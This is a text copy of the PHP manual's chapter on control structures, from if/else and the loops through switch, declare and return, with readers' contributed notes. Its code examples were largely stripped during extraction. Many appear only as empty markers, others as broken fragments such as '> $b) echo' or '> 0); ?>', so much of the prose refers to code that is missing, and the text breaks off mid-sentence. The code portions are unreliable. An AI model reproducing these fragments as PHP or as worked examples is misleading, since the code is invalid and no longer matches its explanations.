structure that is similar to that of C: if (expr) statement As described in the section about expressions, expression is evaluated to its Boolean value. If expression evaluates to TRUE, PHP will execute statement, and if it evaluates to FALSE - it'll ignore it. More information about what values evaluate to FALSE can be found in the 'Converting to boolean' section. The following example would display a is bigger than b if $a is bigger than $b: > $b) echo "a is bigger than b"; ?> < Often you'd want to have more than one statement to be executed conditionally. Of course, there's no need to wrap each statement with an if clause. Instead, you can group several statements into a statement group. For example, this code would display a is bigger than b if $a is bigger than $b, and would then assign the value of $a into $b: > $b) { echo "a is bigger than b"; $b = $a; } ?> < If statements can be nested infinitely within other if statements, which provides you with complete flexibility for conditional execution of the various parts of your program. User Contributed Notes 15 notes 135 robk ¶3 years ago~ easy way to execute conditional html / javascript / css / other language code with php if else: > < html code to run if condition is true > < html code to run if condition is false > < 28 Christian L. ¶6 years ago~ An other way for controls is the ternary operator (see Comparison Operators) that can be used as follows: > < Parentheses can be left out in all examples above. -------------------------------------------------------------------------------- *else* +------+~ | else |~ +------+~ (PHP 4, PHP 5, PHP 7) Often you'd want to execute a statement if a certain condition is met, and a different statement if the condition is not met. This is what else is for. else extends an if statement to execute a statement in case the expression in the if statement evaluates to FALSE. For example, the following code would display a is greater than b if $a is greater than $b, and a is NOT greater than b otherwise: > $b) { echo "a is greater than b"; } else { echo "a is NOT greater than b"; } ?> < The else statement is only executed if the if expression evaluated to FALSE, and if there were any elseif expressions - only if they evaluated to FALSE as well (see elseif). User Contributed Notes 7 notes 16 Caliban Darklock ¶12 years ago~ If you're coming from another language that does not have the "elseif" construct (e.g. C++), it's important to recognise that "else if" is a nested language construct and "elseif" is a linear language construct; they may be compared in performance to a recursive loop as opposed to an iterative loop. > < This test should show that "elseif" executes in roughly two-thirds the time of "else if". (Increasing $limit will also eventually cause a parser stack overflow error, but the level where this happens is ridiculous in real world terms. Nobody normally nests if() blocks to more than a thousand levels unless they're trying to break things, which is a whole different problem.) There is still a need for "else if", as you may have additional code to be executed unconditionally at some rung of the ladder; an "else if" construction allows this unconditional code to be elegantly inserted before or after the entire rest of the process. Consider the following elseif() ladder: > < To insert unconditional preprocessing code for $e onward, one need only split the "elseif": > < The alternative is to duplicate the unconditional code throughout the construct. -------------------------------------------------------------------------------- *elseif__else_if* +----------------+~ | elseif/else if |~ +----------------+~ (PHP 4, PHP 5, PHP 7) elseif, as its name suggests, is a combination of if and else. Like else, it extends an if statement to execute a different statement in case the original if expression evaluates to FALSE. However, unlike else, it will execute that alternative expression only if the elseif conditional expression evaluates to TRUE. For example, the following code would display a is bigger than b, a equal to b or a is smaller than b: > $b) { echo "a is bigger than b"; } elseif ($a == $b) { echo "a is equal to b"; } else { echo "a is smaller than b"; } ?> < There may be several elseifs within the same if statement. The first elseif expression (if any) that evaluates to TRUE would be executed. In PHP, you can also write 'else if' (in two words) and the behavior would be identical to the one of 'elseif' (in a single word). The syntactic meaning is slightly different (if you're familiar with C, this is the same behavior) but the bottom line is that both would result in exactly the same behavior. The elseif statement is only executed if the preceding if expression and any preceding elseif expressions evaluated to FALSE, and the current elseif expression evaluated to TRUE. Note: Note that elseif and else if will only be considered exactly the same when using curly brackets as in the above example. When using a colon to define your if/elseif conditions, you must not separate else if into two words, or PHP will fail with a parse error. > $b): echo $a." is greater than ".$b; else if ($a == $b): // Will not compile. echo "The above line causes a parse error."; endif; /* Correct Method: */ if ($a > $b): echo $a." is greater than ".$b; elseif ($a == $b): // Note the combination of the words. echo $a." equals ".$b; else: echo $a." is neither greater than or equal to ".$b; endif; ?> < User Contributed Notes 5 notes 47 Vladimir Kornea ¶10 years ago~ The parser doesn't handle mixing alternative if syntaxes as reasonably as possible. The following is illegal (as it should be): > < This is also illegal (as it should be): > < But since the two alternative if syntaxes are not interchangeable, it's reasonable to expect that the parser wouldn't try matching else statements using one style to if statement using the alternative style. In other words, one would expect that this would work: > < Instead of concluding that the else statement was intended to match the if($b) statement (and erroring out), the parser could match the else statement to the if($a) statement, which shares its syntax. While it's understandable that the PHP developers don't consider this a bug, or don't consider it a bug worth their time, jsimlo was right to point out that mixing alternative if syntaxes might lead to unexpected results. 14 qualitycoder ¶2 years ago~ The reason 'else if' (with a space) works with traditional syntax and not colon syntax is because of a technicality. > < In this instance, the 'else if' is a shorthand/inline else statement (no curly braces) with the if statement as a body. It is the same things as: > < If you were to write this with colon syntax, it would be: > < -------------------------------------------------------------------------------- *Alternative_syntax_for_control_structures* +-------------------------------------------+~ | Alternative syntax for control structures |~ +-------------------------------------------+~ (PHP 4, PHP 5, PHP 7) PHP offers an alternative syntax for some of its control structures; namely, if, while, for, foreach, and switch. In each case, the basic form of the alternate syntax is to change the opening brace to a colon (:) and the closing brace to endif;, endwhile;, endfor;, endforeach;, or endswitch;, respectively. > < A is equal to 5 > < In the above example, the HTML block "A is equal to 5" is nested within an if statement written in the alternative syntax. The HTML block would be displayed only if $a is equal to 5. The alternative syntax applies to else and elseif as well. The following is an if structure with elseif and else in the alternative format: > < Note: Mixing syntaxes in the same control block is not supported. Warning Any output (including whitespace) between a switch statement and the first case will result in a syntax error. For example, this is invalid: > ... < Whereas this is valid, as the trailing newline after the switch statement is considered part of the closing ?> and hence nothing is output between the switch and case: > ... < See also while, for, and if for further examples. User Contributed Notes 8 notes~ 139 flyingmana ¶8 years ago~ It seems to me, that many people think that > < A ist gleich 5 > < is only with alternate syntax possible, but > < A ist gleich 5 > < is also possible. alternate syntax makes the code only clearer and easyer to read 63 v14t at gmx dot com ¶3 years ago~ isset( $value ) AND print( $value ); the reason why it doesn't work with echo, it's because echo does not return anything, while print _always_ returns 1, which is considered true in the expression 86 temec987 at gmail dot com ¶5 years ago~ A simple alternative to an if statement, which is almost like a ternary operator, is the use of AND. Consider the following: > '; // This is an alternative isset( $value ) AND print( $value ); ?> < This does not work with echo() for some reason. I find this extremely useful! 31 jeremia at gmx dot at ¶9 years ago~ If you wan't to use the alternative syntax for switch statements this won't work:
    Newspage
    Forum
    Instead you have to workaround like this:
    Newspage
    Forum
    8 timeroot dot alex at gmail dot com ¶3 years ago~ The reason for the "workaround" jeremiah mentioned, in the case of the switch statement, can be understood as follows; in any place where you can have an echo statement (an if block, a switch's case, whatever), that's where you can have the raw HTML. In PHP this basically gets handled just like that -- like an echo statement. In between a switch and a case, though, you can't echo anything. By placing the switch and the case in two separate blocks of PHP, with a raw HTML newline echo'ed in between them, PHP basically had to try to find where that statement would be. And it can't be there, hence the difficulty. 9 skippy at zuavra dot net ¶11 years ago~ If it needs saying, this alternative syntax is excellent for improving legibility (for both PHP and HTML!) in situations where you have a mix of them. Interface templates are very often in need of this, especially since the PHP code in them is usually written by one person (who is more of a programmer) and the HTML gets modified by another person (who is more of a web designer). Clear separation in such cases is extremely useful. See the default templates that come with WordPress 1.5+ (www.wordpress.org) for practical and smart examples of this alternative syntax. -------------------------------------------------------------------------------- *while* +-------+~ | while |~ +-------+~ (PHP 4, PHP 5, PHP 7) while loops are the simplest type of loop in PHP. They behave just like their C counterparts. The basic form of a while statement is: while (expr) statement The meaning of a while statement is simple. It tells PHP to execute the nested statement(s) repeatedly, as long as the while expression evaluates to TRUE. The value of the expression is checked each time at the beginning of the loop, so even if this value changes during the execution of the nested statement(s), execution will not stop until the end of the iteration (each time PHP runs the statements in the loop is one iteration). Sometimes, if the while expression evaluates to FALSE from the very beginning, the nested statement(s) won't even be run once. Like with the if statement, you can group multiple statements within the same while loop by surrounding a group of statements with curly braces, or by using the alternate syntax: while (expr): statement ... endwhile; The following examples are identical, and both print the numbers 1 through 10: > < -------------------------------------------------------------------------------- *do-while* +----------+~ | do-while |~ +----------+~ (PHP 4, PHP 5, PHP 7) do-while loops are very similar to while loops, except the truth expression is checked at the end of each iteration instead of in the beginning. The main difference from regular while loops is that the first iteration of a do-while loop is guaranteed to run (the truth expression is only checked at the end of the iteration), whereas it may not necessarily run with a regular while loop (the truth expression is checked at the beginning of each iteration, if it evaluates to FALSE right from the beginning, the loop execution would end immediately). There is just one syntax for do-while loops: > 0); ?> < The above loop would run one time exactly, since after the first iteration, when truth expression is checked, it evaluates to FALSE ($i is not bigger than 0) and the loop execution ends. Advanced C users may be familiar with a different usage of the do-while loop, to allow stopping execution in the middle of code blocks, by encapsulating them with do-while (0), and using the break statement. The following code fragment demonstrates this: > < Don't worry if you don't understand this right away or at all. You can code scripts and even powerful scripts without using this 'feature'. Since PHP 5.3.0, it is possible to use goto operator instead of this hack. User Contributed Notes 6 notes~ 19 Martin ¶2 years ago~ Do-while loops can also be used inside other loops, for example: > '; print_r($numbers); echo ''; ?> < 13 jayreardon at gmail dot com ¶10 years ago~ There is one major difference you should be aware of when using the do--while loop vs. using a simple while loop: And that is when the check condition is made. In a do--while loop, the test condition evaluation is at the end of the loop. This means that the code inside of the loop will iterate once through before the condition is ever evaluated. This is ideal for tasks that need to execute once before a test is made to continue, such as test that is dependant upon the results of the loop. Conversely, a plain while loop evaluates the test condition at the begining of the loop before any execution in the loop block is ever made. If for some reason your test condition evaluates to false at the very start of the loop, none of the code inside your loop will be executed. -------------------------------------------------------------------------------- *for* +-----+~ | for |~ +-----+~ (PHP 4, PHP 5, PHP 7) for loops are the most complex loops in PHP. They behave like their C counterparts. The syntax of a for loop is: for (expr1; expr2; expr3) statement The first expression (expr1) is evaluated (executed) once unconditionally at the beginning of the loop. In the beginning of each iteration, expr2 is evaluated. If it evaluates to TRUE, the loop continues and the nested statement(s) are executed. If it evaluates to FALSE, the execution of the loop ends. At the end of each iteration, expr3 is evaluated (executed). Each of the expressions can be empty or contain multiple expressions separated by commas. In expr2, all expressions separated by a comma are evaluated but the result is taken from the last part. expr2 being empty means the loop should be run indefinitely (PHP implicitly considers it as TRUE, like C). This may not be as useless as you might think, since often you'd want to end the loop using a conditional break statement instead of using the for truth expression. Consider the following examples. All of them display the numbers 1 through 10: > 10) { break; } echo $i; } < /* example 3 */ > $i = 1; for (; ; ) { if ($i > 10) { break; } echo $i; $i++; } < /* example 4 */ > for ($i = 1, $j = 0; $i <= 10; $j += $i, print $i, $i++); ?> < Of course, the first example appears to be the nicest one (or perhaps the fourth), but you may find that being able to use empty expressions in for loops comes in handy in many occasions. PHP also supports the alternate "colon syntax" for for loops. for (expr1; expr2; expr3): statement ... endfor; It's a common thing to many users to iterate through arrays like in the example below. > 'Kalle', 'salt' => 856412), array('name' => 'Pierre', 'salt' => 215863) ); for($i = 0; $i < count($people); ++$i) { $people[$i]['salt'] = mt_rand(000000, 999999); } ?> < The above code can be slow, because the array size is fetched on every iteration. Since the size never changes, the loop be easily optimized by using an intermediate variable to store the size instead of repeatedly calling count(): > 'Kalle', 'salt' => 856412), array('name' => 'Pierre', 'salt' => 215863) ); for($i = 0, $size = count($people); $i < $size; ++$i) { $people[$i]['salt'] = mt_rand(000000, 999999); } ?> < User Contributed Notes 16 notes 130 matthiaz ¶5 years ago~ Looping through letters is possible. I'm amazed at how few people know that. > for($col = 'R'; $col != 'AD'; $col++) { echo $col.' '; } < returns: R S T U V W X Y Z AA AB AC Take note that you can't use $col < 'AD'. It only works with != Very convenient when working with excel columns. 34 nzamani at cyberworldz dot de ¶15 years ago~ The point about the speed in loops is, that the middle and the last expression are executed EVERY time it loops. So you should try to take everything that doesn't change out of the loop. Often you use a function to check the maximum of times it should loop. Like here: > < Faster would be: > < And here a little trick: > < The $i gets changed after the copy for the function (post-increment). 12 Andrew ¶3 years ago~ You can use strtotime with for loops to loop through dates > "; } ?> < -------------------------------------------------------------------------------- *foreach* +---------+~ | foreach |~ +---------+~ (PHP 4, PHP 5, PHP 7) The foreach construct provides an easy way to iterate over arrays. foreach works only on arrays and objects, and will issue an error when you try to use it on a variable with a different data type or an uninitialized variable. There are two syntaxes: foreach (array_expression as $value) statement foreach (array_expression as $key => $value) statement The first form loops over the array given by array_expression. On each iteration, the value of the current element is assigned to $value and the internal array pointer is advanced by one (so on the next iteration, you'll be looking at the next element). The second form will additionally assign the current element's key to the $key variable on each iteration. It is possible to customize object iteration. Note: In PHP 5, when foreach first starts executing, the internal array pointer is automatically reset to the first element of the array. This means that you do not need to call reset() before a foreach loop. As foreach relies on the internal array pointer in PHP 5, changing it within the loop may lead to unexpected behavior. In PHP 7, foreach does not use the internal array pointer. In order to be able to directly modify array elements within the loop precede $value with &. In that case the value will be assigned by reference. > < Reference of a $value and the last array element remain even after the foreach loop. It is recommended to destroy it by unset(). Otherwise you will experience the following behavior: > $value) { // $arr[3] will be updated with each value from $arr... echo "{$key} => {$value} "; print_r($arr); } // ...until ultimately the second-to-last value is copied onto the last value // output: // 0 => 2 Array ( [0] => 2, [1] => 4, [2] => 6, [3] => 2 ) // 1 => 4 Array ( [0] => 2, [1] => 4, [2] => 6, [3] => 4 ) // 2 => 6 Array ( [0] => 2, [1] => 4, [2] => 6, [3] => 6 ) // 3 => 6 Array ( [0] => 2, [1] => 4, [2] => 6, [3] => 6 ) ?> < Before PHP 5.5.0, referencing $value is only possible if the iterated array can be referenced (i.e. if it is a variable). The following code works only as of PHP 5.5.0: > < Note: foreach does not support the ability to suppress error messages using '@'. You may have noticed that the following are functionally identical: > \n"; } foreach ($arr as $value) { echo "Value: $value
    \n"; } ?> < The following are also functionally identical: > \n"; } foreach ($arr as $key => $value) { echo "Key: $key; Value: $value
    \n"; } ?> < Some more examples to demonstrate usage: > $v.\n"; $i++; } /* foreach example 3: key and value */ $a = array( "one" => 1, "two" => 2, "three" => 3, "seventeen" => 17 ); foreach ($a as $k => $v) { echo "\$a[$k] => $v.\n"; } /* foreach example 4: multi-dimensional arrays */ $a = array(); $a[0][0] = "a"; $a[0][1] = "b"; $a[1][0] = "y"; $a[1][1] = "z"; foreach ($a as $v1) { foreach ($v1 as $v2) { echo "$v2\n"; } } /* foreach example 5: dynamic arrays */ foreach (array(1, 2, 3, 4, 5) as $v) { echo "$v\n"; } ?> < Unpacking nested arrays with list()~ (PHP 5 >= 5.5.0, PHP 7) PHP 5.5 added the ability to iterate over an array of arrays and unpack the nested array into loop variables by providing a list() as the value. For example: > < The above example will output: A: 1; B: 2 A: 3; B: 4 You can provide fewer elements in the list() than there are in the nested array, in which case the leftover array values will be ignored: > < The above example will output: 1 3 A notice will be generated if there aren't enough array elements to fill the list(): > < The above example will output: Notice: Undefined offset: 2 in example.php on line 7 A: 1; B: 2; C: Notice: Undefined offset: 2 in example.php on line 7 A: 3; B: 4; C: Changelog Version Description 7.0.0 foreach does not use the internal array pointer anymore. 5.5.0 Referencing of $value is supported for expressions. Formerly, only variables have been supported. 5.5.0 Unpacking nested arrays with list() is supported. User Contributed Notes 23 notes 171 adam dot sindelar at gmail dot com ¶9 years ago~ You can also use the alternative syntax for the foreach cycle: > < Just thought it worth mentioning. 9 John ¶2 months ago~ WARNING: Looping through "values by reference" for "extra performance" is an old myth. It's actually WORSE! > < Which do you think is faster? Lots of people think the answer is two() because it uses "reference to value, which it doesn't have to copy each value when it loops". Well, that's totally wrong! Here's what actually happens: * one(): - This function takes an array as argument ($arr). - The array function argument itself isn't passed by reference, so the function knows it isn't allowed to modify the original at all. - Then the foreach loop happens. The array itself wasn't passed by reference to the function, so PHP knows that it isn't allowed to modify the outside array, so it therefore makes a copy of the array's internal iteration offset state (that's just a simple number which says which item you are currently at during things like foreach()), which costs almost no performance or memory at all since it's just a small number. - Next, it uses that copied iteration offset to loop through all key/value pairs of the array (ie 0th key, 1st key, 2nd key, etc...). And the value at the current offset (a PHP "zval") is assigned to a variable called $val. - Does $val make a COPY of the value? That's what MANY people think. But the answer is NO. It DOESN'T. It re-uses the existing value in memory. With zero performance cost. It's called "copy-on-write" and means that PHP doesn't make any copies unless you try to MODIFY the value. - If you try to MODIFY $val, THEN it will allocate a NEW zval in memory and store $val there instead (but it still won't modify the original array, so you can rest assured). Alright, so what's the second version doing? The beloved "iterate values by reference"? * two(): - This function takes an array as argument ($arr). - The array function argument itself isn't passed by reference, so the function knows it isn't allowed to modify the original at all. - Then the foreach loop happens. The array itself wasn't passed by reference to the function, so PHP knows that it isn't allowed to modify the outside array. - But it also sees that you want to look at all VALUES by reference (&$val), so PHP says "Uh oh, this is dangerous. If we just give them references to the original array's values, and they assign some new value to their reference, they would destroy the original array which they aren't allowed to touch!". - So PHP makes a FULL COPY of the ENTIRE array and ALL VALUES before it starts iterating. YIKES! Therefore: STOP using the old, mythological "&$val" iteration method! It's almost always BAD! With worse performance, and risks of bugs and quirks as is demonstrated in the manual. You can always manually write array assignments explicitly, without references, like this: > $val) { $a[$key] = $val * 10; } // $a is now [10, 20, 30] ?> < The main lesson is this: DON'T blindly iterate through values by reference! Telling PHP that you want direct references will force PHP to need to copy the WHOLE array to protect its original values! So instead, just loop normally and trust the fact that PHP *is* actually smart enough to never copy your original array's values! PHP uses "copy-on-write", which means that attempting to assign something new to $val is the ONLY thing that causes a copying, and only of that SINGLE element! :-) But you never do that anyway, when iterating without reference. If you ever want to modify something, you use the "$a[$key] = 123;" method of updating the value. Enjoy and good luck with your code! :-) 94 php at darkain dot com ¶4 years ago~ "Reference of a $value and the last array element remain even after the foreach loop. It is recommended to destroy it by unset()." I cannot stress this point of the documentation enough! Here is a simple example of exactly why this must be done: > 1, "b" => 2, "c" => 3); $arr2 = array("x" => 4, "y" => 5, "z" => 6); foreach ($arr1 as $key => &$val) {} foreach ($arr2 as $key => $val) {} var_dump($arr1); var_dump($arr2); ?> < The output is: array(3) { ["a"]=> int(1) ["b"]=> int(2) ["c"]=> &int(6) } array(3) { ["x"]=> int(4) ["y"]=> int(5) ["z"]=> int(6) } Notice how the last index in $arr1 is now the value from the last index in $arr2! -------------------------------------------------------------------------------- *break* +-------+~ | break |~ +-------+~ (PHP 4, PHP 5, PHP 7) break ends execution of the current for, foreach, while, do-while or switch structure. break accepts an optional numeric argument which tells it how many nested enclosing structures are to be broken out of. The default value is 1, only the immediate enclosing structure is broken out of. > \n"; } /* Using the optional argument. */ $i = 0; while (++$i) { switch ($i) { case 5: echo "At 5
    \n"; break 1; /* Exit only the switch. */ case 10: echo "At 10; quitting
    \n"; break 2; /* Exit the switch and the while. */ default: break; } } ?> < Changelog for break Version Description 5.4.0 break 0; is no longer valid. In previous versions it was interpreted the same as break 1;. 5.4.0 Removed the ability to pass in variables (e.g., $num = 2; break $num;) as the numerical argument. User Contributed Notes 4 notes 110 steve at electricpocket dot com ¶4 years ago~ A break statement that is in the outer part of a program (e.g. not in a control loop) will end the script. This caught me out when I mistakenly had a break in an if statement i.e. > < will only show "hello" 13 traxer at gmx dot net ¶11 years ago~ vlad at vlad dot neosurge dot net wrote on 04-Jan-2003 04:21 > Just an insignificant side not: Like in C/C++, it's not > necessary to break out of the default part of a switch > statement in PHP. It's not necessary to break out of any case of a switch statement in PHP, but if you want only one case to be executed, you have do break out of it (even out of the default case). Consider this: > '; case 'Orange': echo '$a is an orange'; } ?> < This prints (in PHP 5.0.4 on MS-Windows): $a is not an orange $a is an orange Note that the PHP documentation does not state the default part must be the last case statement. -------------------------------------------------------------------------------- *continue* +----------+~ | continue |~ +----------+~ (PHP 4, PHP 5, PHP 7) continue is used within looping structures to skip the rest of the current loop iteration and continue execution at the condition evaluation and then the beginning of the next iteration. Note: In PHP the switch statement is considered a looping structure for the purposes of continue. continue behaves like break (when no arguments are passed). If a switch is inside a loop, continue 2 will continue with the next iteration of the outer loop. continue accepts an optional numeric argument which tells it how many levels of enclosing loops it should skip to the end of. The default value is 1, thus skipping to the end of the current loop. > \n"; while (1) { echo "Middle
    \n"; while (1) { echo "Inner
    \n"; continue 3; } echo "This never gets output.
    \n"; } echo "Neither does this.
    \n"; } ?> < Omitting the semicolon after continue can lead to confusion. Here's an example of what you shouldn't do. > < One can expect the result to be: 0 1 3 4 but, in PHP versions below 5.4.0, this script will output: 2 because the entire continue print "$i\n"; is evaluated as a single expression, and so print is called only when $i == 2 is true. (The return value of print is passed to continue as the numeric argument.) Note: As of PHP 5.4.0, the above example will raise an E_COMPILE_ERROR error. Changelog for continue Version Description 5.4.0 continue 0; is no longer valid. In previous versions it was interpreted the same as continue 1;. 5.4.0 Removed the ability to pass in variables (e.g., $num = 2; continue $num;) as the numerical argument. User Contributed Notes 17 notes 70 jaimthorn at yahoo dot com ¶7 years ago~ The remark "in PHP the switch statement is considered a looping structure for the purposes of continue" near the top of this page threw me off, so I experimented a little using the following code to figure out what the exact semantics of continue inside a switch is: > '; } ?> < For XXXX I filled in - continue 1 - continue 2 - break 1 - break 2 and observed the different results. This made me come up with the following one-liner that describes the difference between break and continue: continue resumes execution just before the closing curly bracket ( } ), and break resumes execution just after the closing curly bracket. Corollary: since a switch is not (really) a looping structure, resuming execution just before a switch's closing curly bracket has the same effect as using a break statement. In the case of (for, while, do-while) loops, resuming execution just prior their closing curly brackets means that a new iteration is started --which is of course very unlike the behavior of a break statement. In the one-liner above I ignored the existence of parameters to break/continue, but the one-liner is also valid when parameters are supplied. 17 Nikolay Ermolenko ¶8 years ago~ Using continue and break: > '; } /* first third */ $stack2 = array('one'=>'first', 'two'=>'second', 'three'=>'third', 'four'=>'fourth', 'five'=>'fifth'); foreach($stack2 AS $k=>$v){ if($v == 'second')continue; if($k == 'three')continue; if($v == 'fifth')break; echo $k.' ::: '.$v.'
    '; } /* one ::: first four ::: fourth */ ?> < 10 greg AT laundrymat.tv ¶12 years ago~ You using continue in a file included in a loop will produce an error. For example: > //page1.php for($x=0;$x<10;$x++) { include('page2.php'); } //page2.php if($x==5) continue; else print $x; < it should print "012346789" no five, but it produces an error: Cannot break/continue 1 level in etc. 13 rjsteinert.com ¶6 years ago~ The most basic example that print "13", skipping over 2. > < -------------------------------------------------------------------------------- *switch* +--------+~ | switch |~ +--------+~ (PHP 4, PHP 5, PHP 7) The switch statement is similar to a series of IF statements on the same expression. In many occasions, you may want to compare the same variable (or expression) with many different values, and execute a different piece of code depending on which value it equals to. This is exactly what the switch statement is for. Note: Note that unlike some other languages, the continue statement applies to switch and acts similar to break. If you have a switch inside a loop and wish to continue to the next iteration of the outer loop, use continue 2. Note: Note that switch/case does loose comparison. Changelog Version Description 7.0.0 Multiple default cases will raise a E_COMPILE_ERROR error. The following two examples are two different ways to write the same thing, one using a series of if and elseif statements, and the other using the switch statement: Example #1 switch structure > < Example #2 switch structure allows usage of strings > < It is important to understand how the switch statement is executed in order to avoid mistakes. The switch statement executes line by line (actually, statement by statement). In the beginning, no code is executed. Only when a case statement is found whose expression evaluates to a value that matches the value of the switch expression does PHP begin to execute the statements. PHP continues to execute the statements until the end of the switch block, or the first time it sees a break statement. If you don't write a break statement at the end of a case's statement list, PHP will go on executing the statements of the following case. For example: > < Here, if $i is equal to 0, PHP would execute all of the echo statements! If $i is equal to 1, PHP would execute the last two echo statements. You would get the expected behavior ('i equals 2' would be displayed) only if $i is equal to 2. Thus, it is important not to forget break statements (even though you may want to avoid supplying them on purpose under certain circumstances). In a switch statement, the condition is evaluated only once and the result is compared to each case statement. In an elseif statement, the condition is evaluated again. If your condition is more complicated than a simple compare and/or is in a tight loop, a switch may be faster. The statement list for a case can also be empty, which simply passes control into the statement list for the next case. > < A special case is the default case. This case matches anything that wasn't matched by the other cases. For example: > < The alternative syntax for control structures is supported with switches. For more information, see Alternative syntax for control structures. > < It's possible to use a semicolon instead of a colon after a case like: > < User Contributed Notes 52 notes 139 MaxTheDragon at home dot nl ¶4 years ago~ This is listed in the documentation above, but it's a bit tucked away between the paragraphs. The difference between a series of if statements and the switch statement is that the expression you're comparing with, is evaluated only once in a switch statement. I think this fact needs a little bit more attention, so here's an example: > < It is therefore perfectly safe to do: > < without having to worry about the function being re-evaluated for every case. There's no need to preemptively save the result in a variable either. 46 lko at netuse dot de ¶9 years ago~ Attention if you have mixed types of value in one switch statemet it can make you some trouble > < The swich-statement will halt on 'case 2' Answer: this is 2 27 mmxg at shaw dot ca ¶8 years ago~ In reply to lko at netuse dot de Just so others know whom may not, that's because PHP does automatic type conversion if a string is evaluated as an integer (it sees the 2 in '2string' so when compared like if ('2string' == 2), PHP sees if (2 == 2) ). I just tested it, but if you go: > < The output will be "this is a string" and if you change $string to "2" it will again be "this is 2". Just in case that may help anyone who may run into that problem. 34 nospam at please dot com ¶16 years ago~ Just a trick I have picked up: If you need to evaluate several variables to find the first one with an actual value, TRUE for instance. You can do it this was. There is probably a better way but it has worked out well for me. switch (true) { case (X != 1): case (Y != 1): default: } 10 Hayley Watson ¶9 years ago~ Something not mentioned in the documentation itself, and only touched on momentarily in these notes, is that the default: case need not be the last clause in the switch. > < Outputs what you'd expect, namely 0 Thingy 1 One 2 Thingy 3 Three or Four 4 Three or Four 5 Five 6 Thingy 7 Thingy with case 2 and the default both producing the same result ("Thingy"); strictly speaking, the case 2 clause is completely empty and control just falls straight through. The same result could have been achieved with > < But if "case 2" represented a fairly common case (other than "everything else"), then it would be better to declare it explicitly, not only because it saves time by not having to test EVERY other case first (in the current example, PHP finds 'case 2' in the first switch in two tests, but in the second switch it has to make four tests before giving up and going with the default) but also because someone (perhaps yourself in a few months' time) will be reading the code and expecting to see it handled. Listing it explicitly aids comprehension 12 manicdepressive at mindless dot com ¶13 years ago~ Be careful if distinguishing between NULL and (int)0. As implied in the above documentation, the case statements are equivalent to the '==' operator, not the '===' operator, so the following code did not work as i expected: > < Instead, I may use a chain of else-ifs. (On this page, kriek at jonkreik dot com states that "in most cases [a switch statement] is 15% faster [than an else-if chain]" but jemore at m6net dotdot fr claims that when using ===, if/elseif/elseif can be 2 times faster than a switch().) Alternatively, if i prefer the appearance of the switch() statement I may use a trick like the one nospam at please dot com presents: > < code till dawn! mark meves! -------------------------------------------------------------------------------- *declare* +---------+~ | declare |~ +---------+~ (PHP 4, PHP 5, PHP 7) The declare construct is used to set execution directives for a block of code. The syntax of declare is similar to the syntax of other flow control constructs: declare (directive) statement The directive section allows the behavior of the declare block to be set. Currently only three directives are recognized: the ticks directive (See below for more information on the ticks directive), the encoding directive (See below for more information on the encoding directive) and the strict_types directive (See for more information the strict section on the Function arguments page) Version Description 5.3.0 Added encoding directive 7.0.0 Added strict_types directive As directives are handled as the file is being compiled, only literals may be given as directive values. Variables and constants cannot be used. To illustrate: > < The statement part of the declare block will be executed - how it is executed and what side effects occur during execution may depend on the directive set in the directive block. The declare construct can also be used in the global scope, affecting all code following it (however if the file with declare was included then it does not affect the parent file). > < Ticks~ A tick is an event that occurs for every N low-level tickable statements executed by the parser within the declare block. The value for N is specified using ticks=N within the declare block's directive section. Not all statements are tickable. Typically, condition expressions and argument expressions are not tickable. The event(s) that occur on each tick are specified using the register_tick_function(). See the example below for more details. Note that more than one event can occur for each tick. Example #1 Tick usage example > 0) { $a += 2; print($a); } ?> < Example #2 Ticks usage example > 0) { $a += 2; tick_handler(); print($a); tick_handler(); } tick_handler(); ?> < See also register_tick_function() and unregister_tick_function(). Encoding~ A script's encoding can be specified per-script using the encoding directive. Example #3 Declaring an encoding for the script. > < Caution When combined with namespaces, the only legal syntax for declare is declare(encoding='...'); where ... is the encoding value. declare(encoding='...') {} will result in a parse error when combined with namespaces. The encoding declare value is ignored in PHP 5.3 unless php is compiled with --enable-zend-multibyte. Note that PHP does not expose whether --enable-zend-multibyte was used to compile PHP other than by phpinfo(). See also zend.script_encoding. User Contributed Notes 16 notes~ 20 Anonymous ¶6 years ago~ It's amazing how many people didn't grasp the concept here. Note the wording in the documentation. It states that the tick handler is called every n native execution cycles. That means native instructions, not including system calls (i'm guessing). This can give you a very good idea if you need to optimize a particular part of your script, since you can measure quite effectively how many native instructions are in your actual code. A good profiler would take that into account, and force you, the developer, to include calls to the profiler as you're entering and leaving every function. That way you'd be able to keep an eye on how many cycles it took each function to complete. Independent of time. That is extremely powerful, and not to be underestimated. A good solution would allow aggregate stats, so the total time in a function would be counted, including inside called functions. 12 Kubo2 ¶2 years ago~ Note that in PHP 7 throws an E_WARNING if Zend Multibyte is turned off. 15 sawyerrken at gmail dot com ¶3 years ago~ In the following example: > "; } register_tick_function("handler"); declare(ticks = 1){ $b = 2; } //closing curly bracket tickable ?> < "Hello" will be displayed twice because the closing curly bracket is also tickable. One may wonder why the opening curly bracket is not tickable if the closing is tickable. This is because the instruction for PHP to start ticking is given by the opening curly bracket so the ticking starts immediately after it. -------------------------------------------------------------------------------- *return* +--------+~ | return |~ +--------+~ (PHP 4, PHP 5, PHP 7) return returns program control to the calling module. Execution resumes at the expression following the called module's invocation. If called from within a function, the return statement immediately ends execution of the current function, and returns its argument as the value of the function call. return also ends the execution of an eval() statement or script file. If called from the global scope, then execution of the current script file is ended. If the current script file was included or required, then control is passed back to the calling file. Furthermore, if the current script file was included, then the value given to return will be returned as the value of the include call. If return is called from within the main script file, then script execution ends. If the current script file was named by the auto_prepend_file or auto_append_file configuration options in php.ini, then that script file's execution is ended. For more information, see Returning values. Note: Note that since return is a language construct and not a function, the parentheses surrounding its arguments are not required. It is common to leave them out, and you actually should do so as PHP has less work to do in this case. Note: If no parameter is supplied, then the parentheses must be omitted and NULL will be returned. Calling return with parentheses but with no arguments will result in a parse error. Note: You should never use parentheses around your return variable when returning by reference, as this will not work. You can only return variables by reference, not the result of a statement. If you use return ($a); then you're not returning a variable, but the result of the expression ($a) (which is, of course, the value of $a). User Contributed Notes 10 notes 98 warhog at warhog dot net ¶11 years ago~ for those of you who think that using return in a script is the same as using exit note that: using return just exits the execution of the current script, exit the whole execution. look at that example: a.php > < b.php > < (executing a.php:) will echo "ba". whereas (b.php modified): a.php > < b.php > < (executing a.php:) will echo "b". 43 Tom ¶3 years ago~ Keep in mind that even if PHP allows you to use "return" in the global scope it is very bad design to do so. Using the return statement in the global scope encourages programmers to use files like functions and treat the include-statement like a function call. Where they initialize the file's "parameters" by setting variables in the global scope and reading them in the included file. Like so: (WARNING! This code was done by professionals in a controlled environment. Do NOT try this at home!) > < Where "voodoo.php" may be something like: > < This is 